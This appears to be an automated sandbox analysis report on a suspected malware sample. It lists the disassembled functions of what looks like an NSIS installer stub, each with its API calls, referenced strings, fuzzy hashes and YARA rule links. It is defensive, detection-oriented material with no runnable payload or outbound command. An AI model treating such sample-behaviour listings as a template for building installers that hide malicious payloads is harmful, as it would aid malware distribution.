Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd20, xrefs: 00403D06
(7B, xrefs: 00403B04
RichEdit, xrefs: 00403D33
RichEdit20W, xrefs: 00403D24, 00403D2A
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
.DEFAULT\Control Panel\International, xrefs: 00403B44
RichEd32, xrefs: 00403D14
.exe, xrefs: 00403BE6
_Nb, xrefs: 00403C5C, 00403CC4

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

Null, xrefs: 00403029
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error launching installer, xrefs: 00402F80
soft, xrefs: 00403020
Inst, xrefs: 00403017

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B
%s%S.dll, xrefs: 0040679E

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
